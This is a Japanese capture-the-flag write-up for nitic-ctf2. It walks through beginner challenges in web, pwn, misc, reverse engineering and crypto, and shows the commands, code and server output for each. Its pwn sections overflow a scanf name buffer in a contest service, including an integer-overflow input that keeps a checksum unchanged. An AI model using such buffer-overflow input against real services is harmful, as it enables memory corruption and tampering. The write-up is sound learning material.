nitic-ctf2 writeup

2021/8/5~2021/8/6まで、nitic-ctf2が開催されました。

どうやら、ctfでは、コンテスト後に解けた問題について、どうやって解いたたかをwrite-upに書くのが定番なので、私も初参加の記録として、書いてみます。

web

web_meta

添付ファイルをプレビューで開いてみると、このようにnitic ctf2しか表示されません。

f:id:nabefuta_KP:20210907002146p:plain
nitic ctf2と書かれたwebページ

しかし、ファイルの中身を見てみると、ヘッダー部に欲しい情報が入っています。

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">
    <title>nitic_ctf_2</title>
</head>

よって、この問題のFlagはnitic_ctf{You_can_see_dev_too1!}です。

long flag

同じく、添付ファイルを開いてみると、次のようになります。

f:id:nabefuta_KP:20210907002430p:plain
Long Flagと書かれた文字と 怪しげな矢印

このflagではさまれた間が怪しそうなので、開発者ツールで見てみましょう。

<p id="flag" onmousedown="return false;" onselectstart="return false;">
    <span>n</span><span>i</span><span>t</span><span>i</span><span>c</span>...(略)...<span>3</span><span>}</span>
  </p>

このままでは、<span>が邪魔なので、コンソールを使って、文字を抜き出してしましましょう。

ちょうど<script>でflagを取得しているところがあるので、これを借ります。

> e.textContent
< '\n    nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}\n  '

あとは、これの余計な空白部分を取り除けば、Flag:nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}になります。

Pwn

pwn monster1

まずは、普通にやってみましょう

nabefuta@LAPTOP-RD6M1S1K:~/ctf$ nc 35.200.120.35 9001
 ____                 __  __                 _            
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __ 
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |   
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|   
                        Press Any Key                            


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Input name: nabefuta
+--------+--------------------+----------------------+
|name    | 0x617475666562616e |             nabefuta |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] nabefuta HP: 100
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 10 damage!


[You] nabefuta HP: 100
[Rival] pwnchu HP: 9989
Rival Turn.

Your monster took 9999 damage!


[You] nabefuta HP: -9899
[Rival] pwnchu HP: 9989
Lose...


nabefuta@LAPTOP-RD6M1S1K:~/ctf$ 

負けました...

そこで、添付ファイルのソースコードを見てみましょう。

(略)

typedef struct {
 char name[16];
 int64_t hp;
 int64_t attack;
} Monster;

void print_monster_infomation(Monster monster) {
 printf("+--------+--------------------+----------------------+\n");
 printf("|name    | 0x%016lx | %20.8s |\n", *(int64_t*)monster.name      , monster.name);
 printf("|        | 0x%016lx | %20.8s |\n", *(int64_t*)(monster.name + 8), monster.name + 8);
 printf("|HP      | 0x%016lx | % 20ld |\n", monster.hp                , monster.hp);
 printf("|ATK     | 0x%016lx | % 20ld |\n", monster.attack            , monster.attack);
 printf("+--------+--------------------+----------------------+\n");
}

void give_monster_name(Monster* monster) {
 printf("Let's give your monster a name!\n");
 print_monster_infomation(*monster);

 printf("Input name: ");
 scanf("%s%*c", monster->name);


(略)

どうやら、モンスターにかかわる情報は構造体で取っているようです。

つまり、名前を入力する際に、17文字以上の文字を入れれば、体力などのほかの情報に干渉できそうです。

そのため、名前を不必要に長くしてみます。

nabefuta@LAPTOP-RD6M1S1K:~/ctf$ nc 35.200.120.35 9001
 ____                 __  __                 _            
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __ 
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |   
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|   
                        Press Any Key                            


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Input name: 123456789012345678901234567890
+--------+--------------------+----------------------+
|name    | 0x3837363534333231 |             12345678 |
|        | 0x3635343332313039 |             90123456 |
|HP      | 0x3433323130393837 |  3761405300628338743 |
|ATK     | 0x0000303938373635 |       53022314411573 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] 123456789012345678901234567890 HP: 3761405300628338743
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 53022314411573 damage!


[You] 123456789012345678901234567890 HP: 3761405300628338743
[Rival] pwnchu HP: -53022314401574
Win!

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

ということでこの問題のFlagはnitic_ctf{We1c0me_t0_pwn_w0r1d!}です。

pwn monster2

先ほどと同じ方法でやってみましょう。

nabefuta@LAPTOP-RD6M1S1K:~/ctf$ nc 35.200.120.35 9002
 ____                 __  __                 _            
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __ 
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |   
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|   
                        Press Any Key                            

Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: 123456789012345678901234567890
+--------+--------------------+----------------------+
|name    | 0x3837363534333231 |             12345678 |
|        | 0x3635343332313039 |             90123456 |
|HP      | 0x3433323130393837 |  3761405300628338743 |
|ATK     | 0x0000303938373635 |       53022314411573 |
+--------+--------------------+----------------------+
Checksum: 3761458322942750316
Detect cheat.

nabefuta@LAPTOP-RD6M1S1K:~/ctf$ 

ズルがばれてしまいました...

ここで、添付ファイルのソースファイルを見てみると、Cheaksumは次のように計算されていることがわかります。

 int64_t checksum = monster->hp + monster->attack;

 printf("Checksum: %ld\n", checksum);

 printf("Input name: ");
 scanf("%s%*c", monster->name);
 
 print_monster_infomation(*monster);

 printf("Checksum: %ld\n", monster->hp + monster->attack);

 if (monster->hp + monster->attack != checksum) {
  puts("Detect cheat.");
  exit(1);
 }

つまりは、モンスターのhpと攻撃力の総和を変えずに何とかいじれば、うまくいけそうです。

また、攻撃時の終了判定についてみてみましょう。

bool battle(Monster my_monster, Monster rival_monster) {
 bool my_turn = true;
 while (1) {
  printf("[You] %s HP: %ld\n", my_monster.name, my_monster.hp);
  printf("[Rival] %s HP: %ld\n", rival_monster.name, rival_monster.hp);
  
  if (rival_monster.hp < 0) {
   puts("Win!");
   return true;
  }
  if (my_monster.hp < 0) {
   puts("Lose...");
   return false;
  }

  if (my_turn) {
   puts("Your Turn.");
   printf("Rival monster took %ld damage!\n", my_monster.attack);
   rival_monster.hp -= my_monster.attack;
  } else {
   puts("Rival Turn.");
   printf("Your monster took %ld damage!\n", rival_monster.attack);
   my_monster.hp -= rival_monster.attack;
  }

  my_turn = !my_turn;
 }
}

このことから、モンスターの最初の体力は正である必要がありそうです。

また、モンスターの体力と攻撃値はint64_t=signed long intなので、オーバーフローをさせて、マイナスにさせても行けそうです。

そのため、VSCode拡張機能であるHex Editerを使って、入力をバイナリ単位で調節します。

f:id:nabefuta_KP:20210907002634p:plain
cat.outの中身

この内容をパイプを使って、標準入力に入れてみます。

nabefuta@LAPTOP-RD6M1S1K:~/ctf/pwn_monster_2$ cat cat.out | nc 35.200.120.35 9002
 ____                 __  __                 _            
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __ 
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |   
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|   
                        Press Any Key                            

Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: +--------+--------------------+----------------------+
|name    | 0xffffffffffffffff |             �������� |
|        | 0xffffffffffffffff |             �������� |
|HP      | 0x7fffffffffffffff |  9223372036854775807 |
|ATK     | 0x800000000000006f | -9223372036854775697 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] �����������������������o HP: 9223372036854775807
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -9223372036854775697 damage!
[You] �����������������������o HP: 9223372036854775807
[Rival] pwnchu HP: -9223372036854765920
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}

*** stack smashing detected ***: terminated
Aborted (core dumped)
nabefuta@LAPTOP-RD6M1S1K:~/ctf/pwn_monster_2$ 

スタックは壊れましたが、この問題のFlagはnitic_ctf{buffer_and_1nteger_overfl0w}です。

Misc

Excel

添付ファイルを開くと、このようにセルだけの画面が広がっています。

f:id:nabefuta_KP:20210907002918p:plain
セルだけがあるエクセルファイル

そこで、エクセルの検索機能を使い、nitで始まるセルを探してみます。

f:id:nabefuta_KP:20210907002841p:plain
検索画面

すると、白文字で書かれていました。

ということで、この問題のFlagはnitic_ctf{plz_find_me}です。

image_conv

まずは、添付ファイルを開いてみます。

f:id:nabefuta_KP:20210907002804p:plain
白く見える画像

すると、白に近い文字で何かが書かれているように感じます。

そこで、Wordで問題の画像を貼り付け、この画像にアート効果にチョーク:スケッチを加えます。

f:id:nabefuta_KP:20210907002949p:plain
アート効果を加えた後の画像

このとおり、はっきり見えました。

よって、この問題のFlagはnitic_ctf{high_contrast}です。

Rev

protected

まずは、添付ファイルの拡張子がないので、どのようなタイプかを調べます。

nabefuta@LAPTOP-RD6M1S1K:~/ctf/protected/protected$ file chall 
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=34e0075bd7d601785c00143e049a88c6ec927e50, for GNU/Linux 3.2.0, not stripped

どうやら、このファイルは64bitのELFで、Linux系の実行ファイルのようです。(https://eng-blog.iij.ad.jp/archives/3376 より)

そのため、このファイルを実行してみます。

nabefuta@LAPTOP-RD6M1S1K:~/ctf/protected/protected$ ./chall 
bash: ./chall: Permission denied
nabefuta@LAPTOP-RD6M1S1K:~/ctf/protected/protected$ chmod u+x chall 
nabefuta@LAPTOP-RD6M1S1K:~/ctf/protected/protected$ ./chall 
PASSWORD: 

やろうとしたが、権限がなかったので、権限をあたえて、再び実行したら、パスワードを聞かれました。

そこで、このファイルを開き、パスワードらしきものがないか調べてみます。

f:id:nabefuta_KP:20210907003014p:plain
challの中身

すると、怪しげな文字列が出てきました。そこで、その文字列であるsUp3r_s3Cr37_P4s5w0Rdを入力してみると、

nabefuta@LAPTOP-RD6M1S1K:~/ctf/protected/protected$ ./chall 
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}

無事、Flagを抜き出せました。

Crypto

Caesar Cipher

フラグの中身をシーザー暗号で暗号化したものがfdhvduだそうです。

そのため、次のようなコードを書いて、あり得る候補を探してみます。

#include <stdio.h>
#include <string.h>
char str[] = "fdhvdu";

int main() {
 for (int i = 'a'; i <= 'z'; i++) {
  for (int j = 0; j < strlen(str); j++) {
   str[j]++;
            if(str[j] > 'z'){
    str[j] = 'a';
   }

  }
  printf("%s\n", str);
 }
}
nabefuta@LAPTOP-RD6M1S1K:~/ctf/seeeser$ gcc see.c  -o see.out
nabefuta@LAPTOP-RD6M1S1K:~/ctf/seeeser$ ./see.out 
geiwev
hfjxfw
igkygx
jhlzhy
kimaiz
ljnbja
mkockb
nlpdlc
omqemd
pnrfne
qosgof
rpthpg
squiqh
trvjri
uswksj
vtxltk
wuymul
xvznvm
ywaown
zxbpxo
aycqyp
bzdrzq
caesar
dbftbs
ecguct
fdhvdu

この中で、意味がある文字列はcaesarです。

よって、この問題のFlagはnitic_ctf{caesar}です。

ord_xor

添付ファイルを見てみると、flagは次のような方法で暗号化されているようです。

import os
flag = os.environ["FLAG"]


def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


enc_flag = ""
for i in range(len(flag)):
    enc_flag += xor(flag[i], i)

with open("./flag", "w") as f:
    f.write(enc_flag)

どうやら、flagのi番目の文字は元の文字にiをxorした後の文字になっているようです。

そして、できたflagが次のようになるそうです。

nhtjcZcsfroydRx`rl

ここで、xorの演算は、a xor b =cが成り立つとき、a = b xor cが成り立ちます。

つまり、できたflagを先ほどのコードを同じようにすれば、複合できそうです。

inv.py

flag = "nhtjcZcsfroydRx`rl"

def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


enc_flag = ""
for i in range(len(flag)):
    enc_flag += xor(flag[i], i)

print(enc_flag)
nabefuta@LAPTOP-RD6M1S1K:~/ctf/ord_xor$ python inv.py 
nitic_ctf{ord_xor}

ということで、この問題のFlagはnitic_ctf{ord_xor}です。

nitic-ctf2に参加してみて

今回のctfは、初参加なので、すべての分野の~200点問題+競技プログラミングに近いCryptoの300点問題を解くことを目標にして、すべての問題の~200点問題は解けましたが、Cryptoの300点問題がとけなくて、悔しかったです。(特に3問目がグラフ理論系だったので、とても悔しい)

また、全体をとおして、まるで宝探しをしているような感覚で楽しかったです。

最後に、この企画を提案された、茨城高専の有志の方々、ありがとうございました!